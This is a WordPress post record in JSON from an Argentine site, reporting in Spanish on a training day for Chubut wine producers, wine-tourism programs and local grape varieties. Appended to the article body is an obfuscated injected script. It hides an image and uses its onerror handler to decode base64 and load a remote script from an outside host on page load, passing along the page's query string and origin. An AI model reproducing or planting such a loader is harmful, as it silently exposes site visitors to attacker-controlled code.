{"id":17065,"date":"2024-11-29T08:05:07","date_gmt":"2024-11-29T11:05:07","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=17065"},"modified":"2025-08-13T15:41:41","modified_gmt":"2025-08-13T18:41:41","slug":"primera-jornada-de-capacitacion-para-productores-vitivinicolas-en-chubut","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/11\/29\/primera-jornada-de-capacitacion-para-productores-vitivinicolas-en-chubut\/","title":{"rendered":"Primera jornada de capacitaci\u00f3n para productores vitivin\u00edcolas en Chubut"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-6f1076ec6d6522179755bb803c3734ce\" style=\"background-color:#172f3d\"><em>El encuentro tiene como objetivo brindar capacitaci\u00f3n t\u00e9cnica con expertos del sector; generar un espacio de Networking y aprendizaje entre las bodegas, y promover e impulsar el desarrollo del sector tur\u00edstico y su relaci\u00f3n con la producci\u00f3n vitivin\u00edcola en Argentina.<\/em><\/h4>\n\n\n\n<p>La\u00a0<strong>Subsecretaria de Turismo de la Naci\u00f3n<\/strong>\u00a0junto a la\u00a0<strong>Corporaci\u00f3n Vitivin\u00edcola Argentina (COVIAR)<\/strong>\u00a0participaron hoy en el panel sobre desarrollo de experiencias enotur\u00edsticas, el perfil de turismo del vino, el desarrollo de experiencias en bodega, la sostenibilidad enotur\u00edstica, como tambi\u00e9n presentaron los programas *<strong>Argentina Tierra de Vinos\u201d<\/strong>y\u00a0<strong>\u201cGustAr\u201d<\/strong>.<\/p>\n\n\n\n<p>El turismo del vino, a trav\u00e9s de\u00a0<strong>\u201cArgentina Tierra de Vinos\u201d<\/strong>, permite la promoci\u00f3n y difusi\u00f3n del enoturismo con la diversidad de todas sus provincias, mediante un acuerdo entre la\u00a0<strong>Secretar\u00eda de Turismo, Ambiente y Deportes de la Naci\u00f3n<\/strong>, y la\u00a0<strong>Corporaci\u00f3n Vitivin\u00edcola Argentina (COVIAR)<\/strong>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignleft size-large is-resized\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/sites\/default\/files\/vinedos_trevelin_chubut.jpeg\" alt=\"\" style=\"width:445px;height:auto\"\/><\/figure>\n<\/div>\n\n\n<p>Mientras que\u00a0<strong>\u201cCocina Abierta\u201d<\/strong>\u00a0es una propuesta enmarcada en el programa\u00a0<strong>\u201cGustAr\u201d<\/strong>, iniciativa conjunta entre la\u00a0<strong>Secretar\u00eda de Turismo, Ambiente y Deportes, la Secretar\u00eda de Cultura<\/strong>\u00a0y la\u00a0<strong>Secretar\u00eda de Agricultura, Ganader\u00eda y Pesca<\/strong>, que busca revalorizar la producci\u00f3n agroalimentaria, el turismo gastron\u00f3mico y la cultura alimentaria de las distintas regiones de nuestro pa\u00eds.<\/p>\n\n\n\n<p>Adem\u00e1s, se trataron tem\u00e1ticas vinculadas al turismo y la sostenibilidad, y lo relevante que resulta poder implementar herramientas para este fin. Tambi\u00e9n se realiz\u00f3 una exposici\u00f3n sobre maridaje en la que se relataron experiencias de enoturismo.<\/p>\n\n\n\n<p>Entre los contenidos de las jornadas, uno de los paneles present\u00f3 el programa vinos y sabores de Chubut, y su plan vitivin\u00edcola. Experiencias de bodegas chubutenses. Luego continu\u00f3 con el panel sobre comercio internacional y promoci\u00f3n de exportaciones vitivin\u00edcolas. Por \u00faltimo, visitaron dos bodegas donde recorrieron y degustaron diferentes vinos de productores locales.<\/p>\n\n\n\n<p>Las tres jornadas, organizadas por el gobierno de la provincia de Chubut, a trav\u00e9s de los ministerios de producci\u00f3n y turismo y \u00e1reas protegidas, se realizar\u00e1n en las localidades de\u00a0<strong>Trevelin<\/strong>\u00a0y\u00a0<strong>El Hoyo<\/strong>.<\/p>\n\n\n\n<p>Cabe destacar, que la provincia de\u00a0<strong>Chubut<\/strong>\u00a0tiene una interesante historia vitivin\u00edcola, su producci\u00f3n de vid se despliega por todo el territorio desde la costa este, atraviesa la zona central y llega hasta los Valles Cordilleranos. Por el clima extremo, las cepas que mejor se dan son aquellas de ciclos cortos. La franja latitudinal sur de la provincia, las condiciones clim\u00e1ticas y la diversidad de los suelos, han permitido que se incursione en el cultivo de vid hace m\u00e1s de una d\u00e9cada. Es una de las regiones enotur\u00edsticas m\u00e1s australes del mundo.<\/p>\n\n\n\n<p>En la provincia, hay 43 vi\u00f1edos, se destaca la importancia de la producci\u00f3n org\u00e1nica. Las principales variedades son: Pinot Noir, Merlot, Malbec y Cabernet Franc en las tintas y Chardonnay, Sauvignon Blanc, Riesling y Gew\u00fcrztraminer para los blancos y Pinot Gris de las rosadas.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/www.argentina.gob.ar\/noticias\/primera-jornada-de-capacitacion-para-productores-vitivinicolas-en-chubut\" target=\"_blank\" rel=\" noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/profiles\/argentinagobar\/themes\/argentinagobar\/argentinagobar_theme\/logo_argentina-azul.svg\" alt=\"\" style=\"width:300px;height:auto\"\/><\/a><\/figure>\n\n\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>El encuentro tiene como objetivo brindar capacitaci\u00f3n t\u00e9cnica con expertos del sector; generar un espacio de Networking y aprendizaje entre las bodegas, y promover e impulsar el desarrollo del sector tur\u00edstico y su relaci\u00f3n con la producci\u00f3n vitivin\u00edcola en Argentina. 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